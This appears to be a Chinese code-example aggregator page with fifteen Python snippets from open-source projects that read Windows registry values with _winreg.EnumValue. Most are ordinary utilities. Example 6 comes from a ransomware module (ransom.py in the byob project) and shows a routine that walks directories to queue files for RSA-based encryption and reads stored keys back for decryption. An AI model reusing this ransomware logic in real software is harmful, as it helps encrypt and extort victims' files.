当前位置: 首页>>代码示例>>Python>>正文


Python _winreg.EnumValue方法代码示例

本文整理汇总了Python中_winreg.EnumValue方法的典型用法代码示例。如果您正苦于以下问题:Python _winreg.EnumValue方法的具体用法?Python _winreg.EnumValue怎么用?Python _winreg.EnumValue使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在_winreg的用法示例。


在下文中一共展示了_winreg.EnumValue方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: win32_reg_read

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def win32_reg_read (self, keyname, path):
		try:
			import _winreg
			mode = _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY
			key = _winreg.OpenKey(keyname, path, 0, mode)
			count = _winreg.QueryInfoKey(key)[0]
		except:
			return None
		data = {}
		for i in range(count):
			try:
				name, value, tt = _winreg.EnumValue(key, i)
			except OSError as e:
				break
			data[name] = (tt, value) 
		return data 
开发者ID:skywind3000,项目名称:terminal,代码行数:18,代码来源:terminal.py

示例2: has_sound

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def has_sound(sound):
    """Find out if a particular event is configured with a default sound"""
    try:
        # Ask the mixer API for the number of devices it knows about.
        # When there are no devices, PlaySound will fail.
        if ctypes.windll.winmm.mixerGetNumDevs() is 0:
            return False

        key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER,
                "AppEvents\Schemes\Apps\.Default\{0}\.Default".format(sound))
        value = _winreg.EnumValue(key, 0)[1]
        if value is not u"":
            return True
        else:
            return False
    except WindowsError:
        return False 
开发者ID:dxwu,项目名称:BinderFilter,代码行数:19,代码来源:test_winsound.py

示例3: get_all_values

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def get_all_values(self):
        schema = {}
        for subkey in self:
            schema[subkey.name] = subkey.get_all_values()

        key = winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags)
        try:
            with key:
                for i in count():
                    vname, value, vtype = winreg.EnumValue(key, i)
                    value = get_value_from_tuple(value, vtype)
                    if value:
                        schema[vname or ''] = value
        except OSError:
            pass

        return PythonWrappedDict(schema) 
开发者ID:sarugaku,项目名称:pythonfinder,代码行数:19,代码来源:_registry.py

示例4: listRegKeyValues

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def listRegKeyValues(registry, key, architecture=None):
	""" Returns a list of child keys and their values as tuples.
	
	Each tuple contains 3 items.
		- A string that identifies the value name
		- An object that holds the value data, and whose type depends on the underlying registry type
		- An integer that identifies the type of the value data (see table in docs for _winreg.SetValueEx)
	
	Args:
		registry (str): The registry to look in. 'HKEY_LOCAL_MACHINE' for example
		key (str): The key to open. r'Software\Autodesk\Softimage\InstallPaths' for example
		architecture (int | None): 32 or 64 bit. If None use system default. Defaults to None
	
	Returns:
		List of tuples
	"""
	import _winreg
	regKey = getRegKey(registry, key, architecture=architecture)
	ret = []
	if regKey:
		subKeys, valueCount, modified = _winreg.QueryInfoKey(regKey)
		for index in range(valueCount):
			ret.append(_winreg.EnumValue(regKey, index))
	return ret 
开发者ID:blurstudio,项目名称:cross3d,代码行数:26,代码来源:winregistry.py

示例5: next

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def next(self):
        if self._done:
            raise StopIteration
        while True:
            for i in range(3):
                try:
                    name, data, data_type = _winreg.EnumValue(self._key,
                                                              self._index)
                    break
                except WindowsError:
                    continue
            else:
                self._done = True
                self._key.Close()
                raise StopIteration

            self._index += 1
            rv = interpret(data_type, name)
            if rv is not None:
                return rv 
开发者ID:ActiveState,项目名称:code,代码行数:22,代码来源:recipe-577381.py

示例6: _iter_files

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def _iter_files(rsa_key, base_dir=None):
    try:
        if isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
            if base_dir:
                if os.path.isdir(base_dir):
                    return os.path.walk(base_dir, lambda _, dirname, files: [globals()['tasks'].put_nowait((encrypt_file, (os.path.join(dirname, filename), rsa_key))) for filename in files], None)
                else:
                    util.log("Target directory '{}' not found".format(base_dir))
            else:
                cipher = Crypto.Cipher.PKCS1_OAEP.new(rsa_key)
                reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, globals()['registry_key'], 0, _winreg.KEY_READ)
                i = 0
                while True:
                    try:
                        filename, key, _ = _winreg.EnumValue(reg_key, i)
                        key = cipher.decrypt(base64.b64decode(key))
                        globals()['tasks'].put_nowait((decrypt_file, (filename, key)))
                        i += 1
                    except:
                        _winreg.CloseKey(reg_key)
                        break
    except Exception as e:
        util.log('{} error: {}'.format(_iter_files.__name__, str(e))) 
开发者ID:malwaredllc,项目名称:byob,代码行数:25,代码来源:ransom.py

示例7: regkey_value

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def regkey_value(path, name="", start_key=None):
    if isinstance(path, str):
        path = path.split("\\")
    if start_key is None:
        start_key = getattr(winreg, path[0])
        return regkey_value(path[1:], name, start_key)
    else:
        subkey = path.pop(0)
    with winreg.OpenKey(start_key, subkey) as handle:
        assert handle
        if path:
            return regkey_value(path, name, handle)
        else:
            desc, i = None, 0
            while not desc or desc[0] != name:
                desc = winreg.EnumValue(handle, i)
                i += 1
            return desc[1] 
开发者ID:naparuba,项目名称:opsbro,代码行数:20,代码来源:wmi.py

示例8: enumerate_serial_ports

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def enumerate_serial_ports():
    """ Uses the Win32 registry to return an 
        iterator of serial (COM) ports 
        existing on this computer.
    """
    path = 'HARDWARE\\DEVICEMAP\\SERIALCOMM'
    try:
        key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, path)
    except WindowsError:
        raise StopIteration

    for i in itertools.count():
        try:
            val = winreg.EnumValue(key, i)
            yield str(val[1])
        except EnvironmentError:
            break 
开发者ID:eliben,项目名称:code-for-blog,代码行数:19,代码来源:serialutils.py

示例9: RunEmailClient

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def RunEmailClient(text):
    """Get the path of default email client through querying the
        Windows registry. """
    try:
        em_reg = _winreg.OpenKey(
            _winreg.HKEY_CLASSES_ROOT,
            "\\mailto\\shell\\open\\command"
        )
        EmPath = _winreg.EnumValue(em_reg,0)[1]
        _winreg.CloseKey(em_reg)
        EmPath = EmPath.split('"')[1]
    except:
        eg.PrintError(text.error9)
    else:
        head, tail = os.path.split(EmPath)
        win32api.ShellExecute(
            0,
            None,
            tail,
            None,
            head,
            1
        )
#=============================================================================== 
开发者ID:EventGhost,项目名称:EventGhost,代码行数:26,代码来源:__init__.py

示例10: next

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def next(self):
        try:
            v = _winreg.EnumValue(self.key.hkey,self.index)
        except WindowsError:
            raise StopIteration
        else:
            self.index += 1
            return Value(v[1],v[0],v[2]) 
开发者ID:NVDARemote,项目名称:NVDARemote,代码行数:10,代码来源:regobj.py

示例11: _enumerate_reg_values

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def _enumerate_reg_values(key):
		return _RegKeyDict._enumerate_reg(key, _winreg.EnumValue) 
开发者ID:IronLanguages,项目名称:ironpython2,代码行数:4,代码来源:win32timezone.py

示例12: valuestodict

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def valuestodict(key):
    """Convert a registry key's values to a dictionary."""
    dict = {}
    size = winreg.QueryInfoKey(key)[1]
    for i in range(size):
        data = winreg.EnumValue(key, i)
        dict[data[0]] = data[1]
    return dict 
开发者ID:Schibum,项目名称:sndlatr,代码行数:10,代码来源:_win32.py

示例13: break_sopcast

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def break_sopcast():
    if xbmc.getCondVisibility('system.platform.windows'):
        import _winreg
        aReg = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)
        try:
            aKey = _winreg.OpenKey(aReg, r'SOFTWARE\SopCast\Player\InstallPath', 0, _winreg.KEY_READ)
            name, value, type = _winreg.EnumValue(aKey, 0)
            codec_file = os.path.join(os.path.join(value.replace("SopCast.exe", "")), 'codec', 'sop.ocx.old')
            _winreg.CloseKey(aKey)
            if xbmcvfs.exists(codec_file): xbmcvfs.rename(codec_file,
                                                          os.path.join(os.path.join(value.replace("SopCast.exe", "")),
                                                                       'codec', 'sop.ocx'))
        except:
            pass 
开发者ID:tvaddonsco,项目名称:program.plexus,代码行数:16,代码来源:sopcast.py

示例14: valuestodict

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def valuestodict(key):
    """Convert a registry key's values to a dictionary."""
    dict = {}
    size = _winreg.QueryInfoKey(key)[1]
    for i in range(size):
        data = _winreg.EnumValue(key, i)
        dict[data[0]] = data[1]
    return dict 
开发者ID:ktraunmueller,项目名称:Computable,代码行数:10,代码来源:tzwin.py

示例15: break_sopcast

# 需要导入模块: import _winreg [as 别名]
# 或者: from _winreg import EnumValue [as 别名]
def break_sopcast():
	if xbmc.getCondVisibility('system.platform.windows'):
		import _winreg
		aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_LOCAL_MACHINE)
		try:
			aKey = _winreg.OpenKey(aReg, r'SOFTWARE\SopCast\Player\InstallPath',0, _winreg.KEY_READ)
			name, value, type = _winreg.EnumValue(aKey, 0)
			codec_file = os.path.join(os.path.join(value.replace("SopCast.exe","")),'codec','sop.ocx.old')
			_winreg.CloseKey(aKey)
			if xbmcvfs.exists(codec_file): xbmcvfs.rename(codec_file,os.path.join(os.path.join(value.replace("SopCast.exe","")),'codec','sop.ocx'))
		except:pass 
开发者ID:enen92,项目名称:program.plexus,代码行数:13,代码来源:sopcast.py


注:本文中的_winreg.EnumValue方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。